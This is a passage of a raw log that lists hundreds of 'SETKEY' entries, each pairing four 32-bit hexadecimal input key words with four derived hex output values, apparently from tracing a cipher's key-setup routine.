5A4AA35C;-[0]=4A4922AE,[1]=6550FEB0,[2]=ADFD529F,[3]=5DE984D5; +SETKEY:dwKeys[0] = 5839ED2C, dwKeys[1] = 464D40D7, dwKeys[2] = 96509DBD, dwKeys[3] = 5AFB38EB;-[0]=2A32CE2D,[1]=052B1233,[2]=CD86BE1C,[3]=3D926856; +SETKEY:dwKeys[0] = 75021FE2, dwKeys[1] = 8FD9EBF1, dwKeys[2] = 0548BDF8, dwKeys[3] = 4AD1FCD8;-[0]=8A9991B1,[1]=A5804DAF,[2]=6D2DE180,[3]=9D3937CA; +SETKEY:dwKeys[0] = 0C4C36DE, dwKeys[1] = 720ABF43, dwKeys[2] = 41375D9F, dwKeys[3] = 3A73EE3D;-[0]=DA91EBAB,[1]=F58837B5,[2]=3D259B9A,[3]=CD314DD0; +SETKEY:dwKeys[0] = E3E0D911, dwKeys[1] = 792064AA, dwKeys[2] = 564B003E, dwKeys[3] = 493BB573;-[0]=4DBC970A,[1]=62A54B14,[2]=AA08E73B,[3]=5A1C3171; +SETKEY:dwKeys[0] = D8506C64, dwKeys[1] = C66FF024, dwKeys[2] = 12642528, dwKeys[3] = D03A9EF4;-[0]=C1905341,[1]=EE898F5F,[2]=26242370,[3]=D630F53A; +SETKEY:dwKeys[0] = A75FD7B2, dwKeys[1] = 53ADE39B, dwKeys[2] = 521A634D, dwKeys[3] = F8FA9F28;-[0]=7103A677,[1]=5E1A7A69,[2]=96B7D646,[3]=66A3000C; +SETKEY:dwKeys[0] = AF3AE973, dwKeys[1] = 1F42D74E, dwKeys[2] = 276C6236, dwKeys[3] = 4DFC875F;-[0]=BD4F9885,[1]=9256449B,[2]=5AFBE8B4,[3]=AAEF3EFE; +SETKEY:dwKeys[0] = AACA12D2, dwKeys[1] = ECE2E935, dwKeys[2] = 9DD6F9D6, dwKeys[3] = 6E875685;-[0]=D00839A8,[1]=FF11E5B6,[2]=37BC4999,[3]=C7A89FD3; +SETKEY:dwKeys[0] = EBE6A060, dwKeys[1] = D60C3457, dwKeys[2] = 26A2FB87, dwKeys[3] = 3434401E;-[0]=0EC41456,[1]=21DDC848,[2]=E9706467,[3]=1964B22D; +SETKEY:dwKeys[0] = D662619A, dwKeys[1] = E43C3CDF, dwKeys[2] = CFC4D608, dwKeys[3] = A817C99C;-[0]=4BDED503,[1]=64C7091D,[2]=AC6AA532,[3]=5C7E7378; +SETKEY:dwKeys[0] = 8DD54920, dwKeys[1] = CF3B8D30, dwKeys[2] = 96A626C3, dwKeys[3] = DC79FB0C;-[0]=5BF43F39,[1]=74EDE327,[2]=BC404F08,[3]=4C549942; +SETKEY:dwKeys[0] = B1251BB0, dwKeys[1] = D97C12F8, dwKeys[2] = 262E1F32, dwKeys[3] = 00433764;-[0]=90D5B765,[1]=BFCC6B7B,[2]=7761C754,[3]=8775111E; +SETKEY:dwKeys[0] = 69952C5E, dwKeys[1] = 31AC9512, dwKeys[2] = 04FA659A, dwKeys[3] = D1D18903;-[0]=86BBDF53,[1]=A9A2034D,[2]=610FAF62,[3]=911B7928; +SETKEY:dwKeys[0] = 123BD780, dwKeys[1] = 72F7CBB4, dwKeys[2] = 5B043536, dwKeys[3] = 0B38C8B3;-[0]=8C5FF7EE,[1]=A3462BF0,[2]=6BEB87DF,[3]=9BFF5195; +SETKEY:dwKeys[0] = 46B16E1E, dwKeys[1] = 9781A4A6, dwKeys[2] = 3864C596, dwKeys[3] = 0405CAED;-[0]=56A75443,[1]=79BE885D,[2]=B1132472,[3]=4107F238; +SETKEY:dwKeys[0] = 740771D8, dwKeys[1] = 1CBB1CB5, dwKeys[2] = 3F898371, dwKeys[3] = 8E25CA24;-[0]=7A32CD5C,[1]=552B1142,[2]=9D86BD6D,[3]=6D926B27; +SETKEY:dwKeys[0] = C72BCFE1, dwKeys[1] = 26F0CB29, dwKeys[2] = 46CB5723, dwKeys[3] = 8DCA5F38;-[0]=F05E499F,[1]=DF479581,[2]=17EA39AE,[3]=E7FEEFE4; +SETKEY:dwKeys[0] = C79334C1, dwKeys[1] = E096B3B3, dwKeys[2] = 591E31B6, dwKeys[3] = AA4A6785;-[0]=949C9422,[1]=BB85483C,[2]=7328E413,[3]=833C3259; +SETKEY:dwKeys[0] = AE100E6F, dwKeys[1] = 458D2190, dwKeys[2] = 94FEFB9B, dwKeys[3] = 4701050B;-[0]=FF8A9828,[1]=D0934436,[2]=183EE819,[3]=E82A3E53; +SETKEY:dwKeys[0] = 5DAECEDB, dwKeys[1] = 8E6CB679, dwKeys[2] = 6491CBEE, dwKeys[3] = 53627D14;-[0]=FEBBC246,[1]=D1A21E58,[2]=190FB277,[3]=E91B643D; +SETKEY:dwKeys[0] = 72B73D8A, dwKeys[1] = 64212874, dwKeys[2] = ECE81F52, dwKeys[3] = 2D6495FD;-[0]=68863A42,[1]=479FE65C,[2]=8F324A73,[3]=7F269C39; +SETKEY:dwKeys[0] = 8FAC70D6, dwKeys[1] = 3A85F4DA, dwKeys[2] = 7D54BE71, dwKeys[3] = 67FDF833;-[0]=A1C99B63,[1]=8ED0477D,[2]=467DEB52,[3]=B6693D18; +SETKEY:dwKeys[0] = 5A2F1D6B, dwKeys[1] = 7FAA0E4C, dwKeys[2] = BC0FA465, dwKeys[3] = 4E791520;-[0]=7D4C6A3F,[1]=5255B621,[2]=9AF81A0E,[3]=6AECCC44; +SETKEY:dwKeys[0] = 849C74CC, dwKeys[1] = 5A0B539D, dwKeys[2] = 12128FDF, dwKeys[3] = 441C6BA1;-[0]=123A3323,[1]=3D23EF3D,[2]=F58E4312,[3]=059A9558; +SETKEY:dwKeys[0] = E58C32EF, dwKeys[1] = 60C174E0, dwKeys[2] = 9186F73B, dwKeys[3] = E7F20595;-[0]=A1A57F92,[1]=8EBCA38C,[2]=46110FA3,[3]=B605D9E9; +SETKEY:dwKeys[0] = 716FB637, dwKeys[1] = 0865D645, dwKeys[2] = 4B7F919F, dwKeys[3] = 934DAE33;-[0]=8DFB80AF,[1]=A2E25CB1,[2]=6A4FF09E,[3]=9A5B26D4; +SETKEY:dwKeys[0] = D15E2466, dwKeys[1] = 63446C1E, dwKeys[2] = ACAABB29, dwKeys[3] = 148EF9E1;-[0]=286334DF,[1]=077AE8C1,[2]=CFD744EE,[3]=3FC392A4; +SETKEY:dwKeys[0] = 45177CBF, dwKeys[1] = AE82FE37, dwKeys[2] = F68AF51B, dwKeys[3] = AE6EE1D2;-[0]=774750EE,[1]=585E8CF0,[2]=90F320DF,[3]=60E7F695; +SETKEY:dwKeys[0] = 0B70BEA2, dwKeys[1] = FCB669EB, dwKeys[2] = EB1D03BF, dwKeys[3] = DC289BAE;-[0]=3D0AD067,[1]=12130C79,[2]=DABEA056,[3]=2AAA761C; +SETKEY:dwKeys[0] = 26A75B6B, dwKeys[1] = FB81D4B7, dwKeys[2] = 660532FD, dwKeys[3] = DDDF6FC0;-[0]=B3D83658,[1]=9CC1EA46,[2]=546C4669,[3]=A4789023; +SETKEY:dwKeys[0] = 38AD8FE7, dwKeys[1] = 7FED2A1B, dwKeys[2] = 55E98BCB, dwKeys[3] = D15A6F37;-[0]=C5691BED,[1]=EA70C7F3,[2]=22DD6BDC,[3]=D2C9BD96; +SETKEY:dwKeys[0] = 37BF984E, dwKeys[1] = E62D1FD2, dwKeys[2] = 1D60E649, dwKeys[3] = 9E6D95B1;-[0]=70B9F47A,[1]=5FA02864,[2]=970D844B,[3]=67195201; +SETKEY:dwKeys[0] = 11882DFE, dwKeys[1] = F137EFED, dwKeys[2] = 07881532, dwKeys[3] = 32E7B206;-[0]=A9AF6CA4,[1]=86B6B0BA,[2]=4E1B1C95,[3]=BE0FCADF; +SETKEY:dwKeys[0] = 259229E6, dwKeys[1] = DF05D6C9, dwKeys[2] = E8E23C1E, dwKeys[3] = 3B3EA87F;-[0]=E5594E35,[1]=CA40922B,[2]=02ED3E04,[3]=F2F9E84E; +SETKEY:dwKeys[0] = 9E995867, dwKeys[1] = 4FED74AC, dwKeys[2] = 3B0D5D7A, dwKeys[3] = 0AC9EB83;-[0]=1399D28C,[1]=3C800E92,[2]=F42DA2BD,[3]=043974F7; +SETKEY:dwKeys[0] = 67E74ACD, dwKeys[1] = FFB37362, dwKeys[2] = D75CEB0D, dwKeys[3] = 8FB1FE40;-[0]=3C3B076A,[1]=1322DB74,[2]=DB8F775B,[3]=2B9BA111; +SETKEY:dwKeys[0] = 8DBE466F, dwKeys[1] = B07775F3, dwKeys[2] = 61211F72, dwKeys[3] = 6DB32C07;-[0]=F4338A79,[1]=DB2A5667,[2]=1387FA48,[3]=E3932C02; +SETKEY:dwKeys[0] = 3AA44E10, dwKeys[1] = 0B975C85, dwKeys[2] = ADEE8655, dwKeys[3] = 8EC745E0;-[0]=827682BB,[1]=AD6F5EA5,[2]=65C2F28A,[3]=95D624C0; +SETKEY:dwKeys[0] = 9D9AEDEC, dwKeys[1] = AD70E363, dwKeys[2] = 6203C433, dwKeys[3] = E40B4E15;-[0]=22CA06F2,[1]=0DD3DAEC,[2]=C57E76C3,[3]=356AA089; +SETKEY:dwKeys[0] = 343F69F6, dwKeys[1] = 48FAE40C, dwKeys[2] = D5D99D2B, dwKeys[3] = 992874EE;-[0]=823BFEC7,[1]=AD2222D9,[2]=658F8EF6,[3]=959B58BC; +SETKEY:dwKeys[0] = 977006B0, dwKeys[1] = 4B559E80, dwKeys[2] = CD848DC3, dwKeys[3] = CAD11153;-[0]=BB80F6E4,[1]=94992AFA,[2]=5C3486D5,[3]=AC20509F; +SETKEY:dwKeys[0] = 51755564, dwKeys[1] = B52995BE, dwKeys[2] = C889B1E7, dwKeys[3] = E2518DFC;-[0]=9A24B871,[1]=B53D646F,[2]=7D90C840,[3]=8D841E0A; +SETKEY:dwKeys[0] = F2A0F04A, dwKeys[1] = 64BF1106, dwKeys[2] = B6417ED1, dwKeys[3] = E181CF55;-[0]=9B267B37,[1]=B43FA729,[2]=7C920B06,[3]=8C86DD4C; +SETKEY:dwKeys[0] = AF0BDA54, dwKeys[1] = 298FA302, dwKeys[2] = 53AA0D51, dwKeys[3] = 10B47C7F;-[0]=2314CA14,[1]=0C0D160A,[2]=C4A0BA25,[3]=34B46C6F; +SETKEY:dwKeys[0] = 4AB2BF1B, dwKeys[1] = F0B9A5DF, dwKeys[2] = CBC376BA, dwKeys[3] = 3B0951F0;-[0]=1222B6C5,[1]=3D3B6ADB,[2]=F596C6F4,[3]=058210BE; +SETKEY:dwKeys[0] = 344DC8C8, dwKeys[1] = 9E84D9E9, dwKeys[2] = F9ACBF52, dwKeys[3] = C5EFFAA7;-[0]=16E7D8F0,[1]=39FE04EE,[2]=F153A8C1,[3]=01477E8B; +SETKEY:dwKeys[0] = 9C722C02, dwKeys[1] = 5212DE10, dwKeys[2] = A39E031E, dwKeys[3] = CFD1FA96;-[0]=7FF9A2F5,[1]=50E07EEB,[2]=984DD2C4,[3]=6859048E; +SETKEY:dwKeys[0] = 77F58CDE, dwKeys[1] = 8AEBF2A9, dwKeys[2] = 06892577, dwKeys[3] = 94BE9E83;-[0]=E85630C9,[1]=C74FECD7,[2]=0FE240F8,[3]=FFF696B2; +SETKEY:dwKeys[0] = 676ADCFB, dwKeys[1] = BB6D9D2A, dwKeys[2] = 8D274A3F, dwKeys[3] = 70389E4F;-[0]=047A8C69,[1]=2B635077,[2]=E3CEFC58,[3]=13DA2A12; +SETKEY:dwKeys[0] = D603534F, dwKeys[1] = DB4D7095, dwKeys[2] = 24CADCFD, dwKeys[3] = 6751E664;-[0]=342B9A5D,[1]=1B324643,[2]=D39FEA6C,[3]=238B3C26; +SETKEY:dwKeys[0] = 22EAE34C, dwKeys[1] = 60DD0669, dwKeys[2] = EFD5D12D, dwKeys[3] = 7213627C;-[0]=F553EF3C,[1]=DA4A3322,[2]=12E79F0D,[3]=E2F34947; +SETKEY:dwKeys[0] = 982AAC0C, dwKeys[1] = 1F060D10, dwKeys[2] = FD6F4E02, dwKeys[3] = B6BCB137;-[0]=EA0786B5,[1]=C51E5AAB,[2]=0DB3F684,[3]=FDA720CE; +SETKEY:dwKeys[0] = FC21F382, dwKeys[1] = FBF813E9, dwKeys[2] = BAF918DC, dwKeys[3] = 642FF7FF;-[0]=254A9B5A,[1]=0A534744,[2]=C2FEEB6B,[3]=32EA3D21; +SETKEY:dwKeys[0] = E08121F1, dwKeys[1] = ED0D9C4E, dwKeys[2] = 2DB221DE, dwKeys[3] = E272BE6A;-[0]=054F6F59,[1]=2A56B347,[2]=E2FB1F68,[3]=12EFC922; +SETKEY:dwKeys[0] = F33F8710, dwKeys[1] = B9034C26, dwKeys[2] = D59A64A1, dwKeys[3] = 3CC06978;-[0]=799B2D94,[1]=5682F18A,[2]=9E2F5DA5,[3]=6E3B8BEF; +SETKEY:dwKeys[0] = 44E200C2, dwKeys[1] = 2C9B76FA, dwKeys[2] = 92889464, dwKeys[3] = A8171228;-[0]=1F6B8FD5,[1]=307253CB,[2]=F8DFFFE4,[3]=08CB29AE; +SETKEY:dwKeys[0] = B9F37B57, dwKeys[1] = 2CC4DA40, dwKeys[2] = 2DBD8393, dwKeys[3] = 18B338BC;-[0]=BFD60DB3,[1]=90CFD1AD,[2]=58627D82,[3]=A876ABC8; +SETKEY:dwKeys[0] = A3DDBC3A, dwKeys[1] = 6DC990D4, dwKeys[2] = A71F164E, dwKeys[3] = 449DC035;-[0]=037E6859,[1]=2C67B447,[2]=E4CA1868,[3]=14DECE22; +SETKEY:dwKeys[0] = 70D68DDF, dwKeys[1] = 7CF5F96E, dwKeys[2] = 43944394, dwKeys[3] = 8A66BF9B;-[0]=5F13B9F6,[1]=700A65E8,[2]=B8A7C9C7,[3]=48B31F8D; +SETKEY:dwKeys[0] = 99620BE7, dwKeys[1] = A32F9937, dwKeys[2] = 866DEF98, dwKeys[3] = 873BA374;-[0]=0BAF4A91,[1]=24B6968F,[2]=EC1B3AA0,[3]=1C0FECEA; +SETKEY:dwKeys[0] = 18071FB7, dwKeys[1] = E4C7D497, dwKeys[2] = F4723227, dwKeys[3] = 7D430BD6;-[0]=06653302,[1]=297CEF1C,[2]=E1D14333,[3]=11C59579; +SETKEY:dwKeys[0] = C22B48B7, dwKeys[1] = EF7E2ADD, dwKeys[2] = 40B1ADC5, dwKeys[3] = 3598D64E;-[0]=449EEE94,[1]=6B87328A,[2]=A32A9EA5,[3]=533E48EF; +SETKEY:dwKeys[0] = 3A96220A, dwKeys[1] = FA185C6E, dwKeys[2] = 504FA247, dwKeys[3] = 9B2E02D1;-[0]=5D1E9786,[1]=72074B98,[2]=BAAAE7B7,[3]=4ABE31FD; +SETKEY:dwKeys[0] = 8A86496E, dwKeys[1] = 403405B2, dwKeys[2] = 5820C5E2, dwKeys[3] = 5195FA34;-[0]=AE359FF8,[1]=812C43E6,[2]=4981EFC9,[3]=B9953983; +SETKEY:dwKeys[0] = 5EEE87E2, dwKeys[1] = 32124837, dwKeys[2] = E09B3436, dwKeys[3] = 508E2B13;-[0]=21C84FE6,[1]=0ED193F8,[2]=C67C3FD7,[3]=3668E99D; +SETKEY:dwKeys[0] = 44EDEA87, dwKeys[1] = 7166FA7C, dwKeys[2] = 03C9973A, dwKeys[3] = 5B5CF4B0;-[0]=0E366C37,[1]=212FB029,[2]=E9821C06,[3]=1996CA4C; +SETKEY:dwKeys[0] = E18FF407, dwKeys[1] = 9416B4F8, dwKeys[2] = BB30D0CB, dwKeys[3] = F5C0ACC8;-[0]=5956B7E0,[1]=764F6BFE,[2]=BEE2C7D1,[3]=4EF6119B; +SETKEY:dwKeys[0] = FDA3412E, dwKeys[1] = A3DE1E25, dwKeys[2] = 21FC3D19, dwKeys[3] = FD887C2A;-[0]=0566026D,[1]=2A7FDE73,[2]=E2D2725C,[3]=12C6A416; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = DA8E7BF2, dwKeys[1] = A5F2E177, dwKeys[2] = F46A0E32, dwKeys[3] = F964DAC2;-[0]=8996D881,[1]=A68F049F,[2]=6E22A8B0,[3]=9E367EFA; +SETKEY:dwKeys[0] = EA40775F, dwKeys[1] = 320AC102, dwKeys[2] = E152F5C5, dwKeys[3] = E7E9EB22;-[0]=F86000F5,[1]=D779DCEB,[2]=1FD470C4,[3]=EFC0A68E; +SETKEY:dwKeys[0] = 646D59E9, dwKeys[1] = 4D8C96A4, dwKeys[2] = 2B4BFA61, dwKeys[3] = 960F74E4;-[0]=0F97D498,[1]=208E0886,[2]=E823A4A9,[3]=183772E3; +SETKEY:dwKeys[0] = 228694A1, dwKeys[1] = 4A746DDC, dwKeys[2] = D1C24B79, dwKeys[3] = AFAC8A6E;-[0]=A625E823,[1]=893C343D,[2]=41919812,[3]=B1854E58; +SETKEY:dwKeys[0] = F817768E, dwKeys[1] = 0E3445ED, dwKeys[2] = FE85A698, dwKeys[3] = 539DC82C;-[0]=D4ADF385,[1]=FBB42F9B,[2]=331983B4,[3]=C30D55FE; +SETKEY:dwKeys[0] = C5BEA734, dwKeys[1] = 71C2A134, dwKeys[2] = 95922437, dwKeys[3] = 0ADB6D5E;-[0]=5CF54BE6,[1]=73EC97F8,[2]=BB413BD7,[3]=4B55ED9D; +SETKEY:dwKeys[0] = 03D016D1, dwKeys[1] = 5EC91AF7, dwKeys[2] = 71C76345, dwKeys[3] = BB3E03BF;-[0]=2DB53F2C,[1]=02ACE332,[2]=CA014F1D,[3]=3A159957; +SETKEY:dwKeys[0] = 9CFD738F, dwKeys[1] = 5E9BB557, dwKeys[2] = 730B7D1A, dwKeys[3] = A8E71C21;-[0]=35CB01D9,[1]=1AD2DDC7,[2]=D27F71E8,[3]=226BA7A2; +SETKEY:dwKeys[0] = F0C5192F, dwKeys[1] = E5C858EE, dwKeys[2] = E2567276, dwKeys[3] = 6F3A90E3;-[0]=34EA9270,[1]=1BF34E6E,[2]=D35EE241,[3]=234A340B; +SETKEY:dwKeys[0] = 4C38F4BD, dwKeys[1] = D6D843E8, dwKeys[2] = A3BDC121, dwKeys[3] = 35414185;-[0]=EB2F63EC,[1]=C436BFF2,[2]=0C9B13DD,[3]=FC8FC597; +SETKEY:dwKeys[0] = A41065FD, dwKeys[1] = B26D37AE, dwKeys[2] = 5DDA7DBC, dwKeys[3] = 656B8787;-[0]=590C3770,[1]=7615EB6E,[2]=BEB84741,[3]=4EAC910B; +SETKEY:dwKeys[0] = 015692D4, dwKeys[1] = 8A86DF3E, dwKeys[2] = B93CF702, dwKeys[3] = 47C8157A;-[0]=BE024FEB,[1]=911B93F5,[2]=59B63FDA,[3]=A9A2E990; +SETKEY:dwKeys[0] = 76E9D254, dwKeys[1] = AF81557A, dwKeys[2] = 05BFD27F, dwKeys[3] = 2B14CB9E;-[0]=4934DC0C,[1]=662D0012,[2]=AE80AC3D,[3]=5E947A77; +SETKEY:dwKeys[0] = CAB1186F, dwKeys[1] = AD079D46, dwKeys[2] = A4E9C4D0, dwKeys[3] = 28883D83;-[0]=7CBFABF6,[1]=53A677E8,[2]=9B0BDBC7,[3]=6B1F0D8D; +SETKEY:dwKeys[0] = C818F84D, dwKeys[1] = 65AD779D, dwKeys[2] = D65360A2, dwKeys[3] = B3A7EA91;-[0]=86AEC09A,[1]=A9B71C84,[2]=611AB0AB,[3]=910E66E1; +SETKEY:dwKeys[0] = 351AD262, dwKeys[1] = 2BAD515D, dwKeys[2] = 629970FA, dwKeys[3] = D4C6ED3D;-[0]=5EFA5641,[1]=71E38A5F,[2]=B94E2670,[3]=495AF03A; +SETKEY:dwKeys[0] = 621F58F9, dwKeys[1] = 067BEC5D, dwKeys[2] = 99CE17AE, dwKeys[3] = 2A822DAC;-[0]=05EAFB8D,[1]=2AF32793,[2]=E25E8BBC,[3]=124A5DF6; +SETKEY:dwKeys[0] = 6FC93B29, dwKeys[1] = B6DE5C0C, dwKeys[2] = 9279726B, dwKeys[3] = 3BDC4FC5;-[0]=CF15133A,[1]=E00CCF24,[2]=28A1630B,[3]=D8B5B541; +SETKEY:dwKeys[0] = D1E095EB, dwKeys[1] = B72650E9, dwKeys[2] = 7AB7186E, dwKeys[3] = E1141045;-[0]=602B9D28,[1]=4F324136,[2]=879FED19,[3]=778B3B53; +SETKEY:dwKeys[0] = 990ACEE4, dwKeys[1] = C654543A, dwKeys[2] = 86174816, dwKeys[3] = 453EB1E1;-[0]=E23657E9,[1]=CD2F8BF7,[2]=058227D8,[3]=F596F192; +SETKEY:dwKeys[0] = 80E66C61, dwKeys[1] = 2845DD9D, dwKeys[2] = CA30318D, dwKeys[3] = 29ACC412;-[0]=977B3EC5,[1]=B862E2DB,[2]=70CF4EF4,[3]=80DB98BE; +SETKEY:dwKeys[0] = BBA659F1, dwKeys[1] = 9C7DE94A, dwKeys[2] = 0B2CC04E, dwKeys[3] = 0366D196;-[0]=10F0BA41,[1]=3FE9665F,[2]=F744CA70,[3]=07501C3A; +SETKEY:dwKeys[0] = F88457CA, dwKeys[1] = 09EDB183, dwKeys[2] = 76E2B663, dwKeys[3] = 8193A6DD;-[0]=C2A791A8,[1]=EDBE4DB6,[2]=2513E199,[3]=D50737D3; +SETKEY:dwKeys[0] = EDD4B74F, dwKeys[1] = 4D3481BA, dwKeys[2] = 2A3CD318, dwKeys[3] = E8D7863F;-[0]=16FEF7F5,[1]=39E72BEB,[2]=F14A87C4,[3]=015E518E; +SETKEY:dwKeys[0] = 60773C08, dwKeys[1] = E8ED96CE, dwKeys[2] = 6502D218, dwKeys[3] = 07AA5719;-[0]=AE4FB05E,[1]=81566C40,[2]=49FBC06F,[3]=B9EF1625; +SETKEY:dwKeys[0] = 7E0DD81A, dwKeys[1] = 4645FECE, dwKeys[2] = B9248CD7, dwKeys[3] = 5B80FC5E;-[0]=C543FBE0,[1]=EA5A27FE,[2]=22F78BD1,[3]=D2E35D9B; +SETKEY:dwKeys[0] = 531960AF, dwKeys[1] = EB48BAA2, dwKeys[2] = A9AEF790, dwKeys[3] = 2E18E900;-[0]=73B94780,[1]=5CA09B9E,[2]=940D37B1,[3]=6419E1FB; +SETKEY:dwKeys[0] = 59DD48EA, dwKeys[1] = B18F836D, dwKeys[2] = 436B5091, dwKeys[3] = 7DA62621;-[0]=B768411C,[1]=98719D02,[2]=50DC312D,[3]=A0C8E767; +SETKEY:dwKeys[0] = A526C5C5, dwKeys[1] = 53678105, dwKeys[2] = 2411FE49, dwKeys[3] = 50779BF2;-[0]=461E972E,[1]=69074B30,[2]=A1AAE71F,[3]=51BE3155; +SETKEY:dwKeys[0] = B8DA0E1F, dwKeys[1] = 2C968879, dwKeys[2] = B6DEE931, dwKeys[3] = D0E1C49D;-[0]=1776655E,[1]=386FB940,[2]=F0C2156F,[3]=00D6C325; +SETKEY:dwKeys[0] = 5CE9FDE3, dwKeys[1] = 424EFCFF, dwKeys[2] = 427748E4, dwKeys[3] = C6C3B006;-[0]=7018DDC5,[1]=5F0101DB,[2]=97ACADF4,[3]=67B87BBE; +SETKEY:dwKeys[0] = 6A9490A7, dwKeys[1] = 5BDA9A7F, dwKeys[2] = 7CF1C840, dwKeys[3] = FD198A6B;-[0]=1410C79E,[1]=3B091B80,[2]=F3A4B7AF,[3]=03B061E5; +SETKEY:dwKeys[0] = 5411432F, dwKeys[1] = 2E15BB79, dwKeys[2] = F1C9890C, dwKeys[3] = 63145B77;-[0]=F226416B,[1]=DD3F9D75,[2]=1592315A,[3]=E586E710; +SETKEY:dwKeys[0] = 262FCE6C, dwKeys[1] = E35F0D0B, dwKeys[2] = A407EF40, dwKeys[3] = 5ABCCF02;-[0]=A33B71F8,[1]=8C22ADE6,[2]=448F01C9,[3]=B49BD783; +SETKEY:dwKeys[0] = 2775A883, dwKeys[1] = 9C78E763, dwKeys[2] = FDE8DFD4, dwKeys[3] = 15AC35EA;-[0]=A34E861A,[1]=8C575A04,[2]=44FAF62B,[3]=B4EE2061; +SETKEY:dwKeys[0] = 14EB2E16, dwKeys[1] = 0302546F, dwKeys[2] = 6A779328, dwKeys[3] = 09754269;-[0]=2C24D63D,[1]=033D0A23,[2]=CB90A60C,[3]=3B847046; +SETKEY:dwKeys[0] = 7A3BCD02, dwKeys[1] = 03D056A3, dwKeys[2] = B9965DA3, dwKeys[3] = DA5D0C2F;-[0]=B4A4418E,[1]=9BBD9D90,[2]=531031BF,[3]=A304E7F5; +SETKEY:dwKeys[0] = EF12B69C, dwKeys[1] = D506CEAD, dwKeys[2] = 3751EADE, dwKeys[3] = 9AADB5C7;-[0]=5CE11BB3,[1]=73F8C7AD,[2]=BB556B82,[3]=4B41BDC8; +SETKEY:dwKeys[0] = 8120D9FE, dwKeys[1] = 399FB4BF, dwKeys[2] = 9972546A, dwKeys[3] = E00E79F2;-[0]=65BE6AB7,[1]=4AA7B6A9,[2]=820A1A86,[3]=721ECCCC; +SETKEY:dwKeys[0] = 7508711B, dwKeys[1] = B2FED31B, dwKeys[2] = 2C250E8A, dwKeys[3] = A3785D34;-[0]=8567635B,[1]=AA7EBF45,[2]=62D3136A,[3]=92C7C520; +SETKEY:dwKeys[0] = A5AA07A2, dwKeys[1] = 4DC7F8A9, dwKeys[2] = 4922EFE8, dwKeys[3] = 5179CB05;-[0]=A32A05E2,[1]=8C33D9FC,[2]=449E75D3,[3]=B48AA399; +SETKEY:dwKeys[0] = 1C1377F9, dwKeys[1] = 1D2CFD7D, dwKeys[2] = 1210FDF9, dwKeys[3] = 272AFB06;-[0]=6BAAD4A8,[1]=44B308B6,[2]=8C1EA499,[3]=7C0A72D3; +SETKEY:dwKeys[0] = C8251BD1, dwKeys[1] = 4EB56CCD, dwKeys[2] = 2952573A, dwKeys[3] = 1A438E82;-[0]=56EDF36B,[1]=79F42F75,[2]=B159835A,[3]=414D5510; +SETKEY:dwKeys[0] = 651AB96C, dwKeys[1] = FFE11E53, dwKeys[2] = 2A634EA9, dwKeys[3] = 0B481137;-[0]=B04B2391,[1]=9F52FF8F,[2]=57FF53A0,[3]=A7EB85EA; +SETKEY:dwKeys[0] = D42441E0, dwKeys[1] = D279D115, dwKeys[2] = 534505C9, dwKeys[3] = 55929F63;-[0]=BD5B9708,[1]=92424B16,[2]=5AEFE739,[3]=AAFB3173; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = C12E7F51, dwKeys[1] = 5A208C9D, dwKeys[2] = A837FC7F, dwKeys[3] = 7C260B61;-[0]=4240E2F2,[1]=7D59B06A,[2]=8E06EECE,[3]=22995B8C; +SETKEY:dwKeys[0] = A83B325A, dwKeys[1] = 415F0003, dwKeys[2] = D4699DDD, dwKeys[3] = AC7350C8;-[0]=C9BF7022,[1]=F6A622BA,[2]=05F97C1E,[3]=A966C95C; +SETKEY:dwKeys[0] = 639BEC3A, dwKeys[1] = E0B0856D, dwKeys[2] = F2162A9B, dwKeys[3] = C14338E7;-[0]=B882C9E4,[1]=879B9B7C,[2]=74C4C5D8,[3]=D85B709A; +SETKEY:dwKeys[0] = 14C233F3, dwKeys[1] = 39676030, dwKeys[2] = 1CD19C0E, dwKeys[3] = A77B74FF;-[0]=903E9B6A,[1]=AF27C9F2,[2]=5C789756,[3]=F0E72214; +SETKEY:dwKeys[0] = C6E5B0C2, dwKeys[1] = 84C420C1, dwKeys[2] = 6D9EDF88, dwKeys[3] = 3B4A6A7A;-[0]=84C062F5,[1]=BBD9306D,[2]=48866EC9,[3]=E419DB8B; +SETKEY:dwKeys[0] = BC1BAD0F, dwKeys[1] = CB7EBA13, dwKeys[2] = F2AE8BA9, dwKeys[3] = B5440B3C;-[0]=74831118,[1]=4B9A4380,[2]=B8C51D24,[3]=145AA866; +SETKEY:dwKeys[0] = B2133E50, dwKeys[1] = 5FDCDEFA, dwKeys[2] = 1C92D541, dwKeys[3] = 23684DAA;-[0]=9518EE4A,[1]=AA01BCD2,[2]=595EE276,[3]=F5C15734; +SETKEY:dwKeys[0] = FAE881A9, dwKeys[1] = 8F96E741, dwKeys[2] = 1A7314C3, dwKeys[3] = 6D4BEC23;-[0]=A1B5E6C3,[1]=9EACB45B,[2]=6DF3EAFF,[3]=C16C5FBD; +SETKEY:dwKeys[0] = DDE171DF, dwKeys[1] = A20775F1, dwKeys[2] = 74BCD220, dwKeys[3] = 343A3B6A;-[0]=919E9F4B,[1]=AE87CDD3,[2]=5DD89377,[3]=F1472635; +SETKEY:dwKeys[0] = 7C8902FA, dwKeys[1] = 2A34F878, dwKeys[2] = D9A8AB73, dwKeys[3] = FEE081B4;-[0]=4D83DFA5,[1]=729A8D3D,[2]=81C5D399,[3]=2D5A66DB; +SETKEY:dwKeys[0] = 0E622CD4, dwKeys[1] = 7E4D9274, dwKeys[2] = 